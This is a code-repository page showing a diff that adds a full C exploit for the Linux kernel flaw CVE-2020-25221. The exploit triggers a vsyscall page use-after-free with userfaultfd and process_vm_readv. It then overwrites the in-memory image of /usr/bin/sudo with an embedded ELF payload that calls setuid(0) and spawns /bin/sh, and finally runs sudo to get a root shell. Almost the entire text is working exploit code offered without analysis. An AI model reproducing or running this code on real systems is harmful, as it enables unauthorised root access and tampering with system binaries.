🤬
  • ■ ■ ■ ■ ■ ■
    CVE-2020-25221/CVE-2020-25221.c
     1 +#define _GNU_SOURCE
     2 +#include <fcntl.h>
     3 +#include <stdio.h>
     4 +#include <stdlib.h>
     5 +#include <sys/syscall.h>
     6 +#include <unistd.h>
     7 +#include <sys/types.h>
     8 +#include <signal.h>
     9 +#include <sys/ucontext.h>
     10 +#include <errno.h>
     11 +#include <err.h>
     12 +#include <sys/uio.h>
     13 +#include <poll.h>
     14 +#include <pthread.h>
     15 +#include <unistd.h>
     16 +#include <sys/ioctl.h>
     17 +#include <sys/mman.h>
     18 +#include <linux/userfaultfd.h>
     19 +#include <string.h>
     20 +
     21 +#define PAGESIZE 4096
     22 +
     23 +// small elf file that can execute setuid(0); execve("/bin/sh",0,0);
     24 +// setuid binary will be overwrite with this
     25 +char * payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
     26 +
     27 +void DumpHex(const void * data, size_t size) {
     28 + char ascii[17];
     29 + size_t i, j;
     30 + ascii[16] = '\0';
     31 + for (i = 0; i < size; ++i) {
     32 + printf("%02X ", ((unsigned char * ) data)[i]);
     33 + if (((unsigned char * ) data)[i] >= ' ' && ((unsigned char * ) data)[i] <= '~') {
     34 + ascii[i % 16] = ((unsigned char * ) data)[i];
     35 + } else {
     36 + ascii[i % 16] = '.';
     37 + }
     38 + if ((i + 1) % 8 == 0 || i + 1 == size) {
     39 + printf(" ");
     40 + if ((i + 1) % 16 == 0) {
     41 + printf("| %s \n", ascii);
     42 + } else if (i + 1 == size) {
     43 + ascii[(i + 1) % 16] = '\0';
     44 + if ((i + 1) % 16 <= 8) {
     45 + printf(" ");
     46 + }
     47 + for (j = (i + 1) % 16; j < 16; ++j) {
     48 + printf(" ");
     49 + }
     50 + printf("| %s \n", ascii);
     51 + }
     52 + }
     53 + }
     54 +}
     55 +
     56 +int pid = 0;
     57 +int userfaultfd(int flags) {
     58 + return syscall(323, flags); // userfaultfd
     59 +}
     60 +
     61 +int prepareUFD(void * pages, unsigned long memsize) {
     62 + int fd = 0;
     63 + if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
     64 + fprintf(stderr, "++ userfaultfd failed: %m\n");
     65 + exit(-1);
     66 + }
     67 + struct uffdio_api api = {
     68 + .api = UFFD_API
     69 + };
     70 + if (ioctl(fd, UFFDIO_API, & api)) {
     71 + fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
     72 + exit(-1);
     73 + }
     74 + if (api.api != UFFD_API) {
     75 + fprintf(stderr, "++ unexepcted UFFD api version.\n");
     76 + exit(-1);
     77 + }
     78 + struct uffdio_register reg = {
     79 + .mode = UFFDIO_REGISTER_MODE_MISSING,
     80 + .range = {
     81 + .start = (long) pages,
     82 + .len = memsize
     83 + }
     84 + };
     85 + if (ioctl(fd, UFFDIO_REGISTER, & reg)) {
     86 + fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
     87 + exit(-1);
     88 + }
     89 + if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
     90 + fprintf(stderr, "++ unexpected UFFD ioctls.\n");
     91 + exit(-1);
     92 + }
     93 + return fd;
     94 +}
     95 +
     96 +void *process_vm_readv_hack(void * memory) {
     97 + struct iovec local, remote;
     98 + int ret;
     99 + local.iov_base = memory;
     100 + local.iov_len = 4096;
     101 + remote.iov_base = (void * ) 0xffffffffff600000;
     102 + remote.iov_len = 4096;
     103 + ret = process_vm_readv(pid, & local, 1, & remote, 1, 0);
     104 +}
     105 +
     106 +int add_refcount_with(int n) {
     107 + void* pageufd;
     108 + pthread_t thread[2048] = {};
     109 + int i;
     110 + if ((pageufd = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE,
     111 + MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
     112 + fprintf(stderr, "++ mmap failed: %m\n");
     113 + return -1;
     114 + }
     115 + printf("create page%d=%p\n", i, pageufd);
     116 + prepareUFD(pageufd, 0x1000);
     117 + for (i = 0; i < n; i++) {
     118 + // printf("creating thread%d, alloc mem=%p\n", i, pageufd);
     119 + if (pthread_create(&thread[i], NULL, process_vm_readv_hack, pageufd)) {
     120 + fprintf(stderr, "++ pthread_create failed: %m\n");
     121 + return -1;
     122 + }
     123 + }
     124 +}
     125 +
     126 +int exploit() {
     127 + char buf[4096];
     128 + void * pageufd;
     129 + void * pages[1024];
     130 + void * pages2[10000];
     131 + int fds[1024];
     132 + int i;
     133 + struct iovec local, remote;
     134 + int ret;
     135 + char dummy[1024];
     136 + pthread_t thread[2048] = {};
     137 + int fdp = open("/usr/bin/sudo", O_RDONLY);
     138 + pid = getpid();
     139 + local.iov_base = buf;
     140 + local.iov_len = 4096;
     141 + remote.iov_base = (void * ) 0xffffffffff600000;
     142 + remote.iov_len = 4096;
     143 + printf("BUMP vsyscall refcount to 1023\n");
     144 + add_refcount_with(1022);
     145 + printf("Done\n");
     146 + printf("Trigerring bug: put back vsyscall page to buddy allocator");
     147 + getchar();
     148 + ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0);
     149 +
     150 + int total1 = 0;
     151 + printf("Reallocating read write page which make vsyscall point to the this new page..\n");
     152 + for (i = 0; i < 900; i++) {
     153 + char namefile[20];
     154 + sprintf(namefile, "file%d", i);
     155 + int file_fd = syscall(__NR_memfd_create, namefile, 0);
     156 + if (ftruncate(file_fd, PAGESIZE)) err(1, "trunc init");
     157 + if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, file_fd, 0)) == MAP_FAILED) {
     158 + fprintf(stderr, "++ mmap failed: %m\n");
     159 + return -1;
     160 + }
     161 + printf("create %d page%d=%p\n", file_fd, i, pages[i]);
     162 + memset(pages[i], 'A', 0x800);
     163 + total1 += 1;
     164 + if ( * (char * )(void * )(0xffffffffff600000) == 'A') {
     165 + printf("Success! vsyscall page now is A*0x800\n");
     166 + break;
     167 + }
     168 + }
     169 + printf("Now we have vsyscall and %p point to the same physical page\n", pages[total1 - 1]);
     170 + printf("DUMP VSYSCALL: ");
     171 + DumpHex((void * )(0xffffffffff600000), 16);
     172 + printf("BUMP vsyscall refcount to 1023 again!");
     173 + getchar();
     174 + add_refcount_with(1022);
     175 + printf("Done");
     176 + getchar();
     177 + printf("Trigerring bug again: put back vsyscall page also %p to buddy allocator\n", pages[0]);
     178 + printf("We can still use %p after the page freed\n", pages[0]);
     179 + ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0);
     180 + int total2 = 0;
     181 + printf("Reallocating read only page from %s\n", "/usr/bin/sudo");
     182 + for (i = 0; i < 900; i++) {
     183 + int file_fd;
     184 + file_fd = fdp;
     185 + if ((pages2[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_EXEC, MAP_SHARED, file_fd, 0)) == MAP_FAILED) {
     186 + fprintf(stderr, "++ mmap failed: %m\n");
     187 + return -1;
     188 + }
     189 + // printf("create page%d=%p\n", i, pages2[i]);
     190 + // memset(pages2[i], 'X', 0x800);
     191 + DumpHex(pages2[i], 16);
     192 + total2 += 1;
     193 + if ( * (char * ) pages[0] != 'A') {
     194 + printf("Success!: Page allocated from /usr/bin/sudo to %p\n", pages2[i]);
     195 + printf("Success!: %p and %p point to the same physical memory page\n", pages[0], pages2[i]);
     196 + printf("We can write %p to overwrite read only page %p\n", pages[0], pages2[i]);
     197 + break;
     198 + }
     199 + }
     200 + printf("DUMP pages[0]: ");
     201 + DumpHex(pages[i], 16);
     202 + if ( * (char * ) pages[0] != '\x7f') {
     203 + printf("Failed :(\n");
     204 + return -1;
     205 + }
     206 + printf("almost done!");
     207 + getchar();
     208 + memcpy(pages[0], payload, 168);
     209 + printf("/usr/bin/sudo overwrited!\n");
     210 + printf("Executing sudo!\n");
     211 + system("sudo");
     212 + return 0;
     213 +}
     214 +
     215 +int main(int argc, char ** argv) {
     216 + exploit();
     217 +}
     218 + 
Please wait...
Page is in error, reload to recover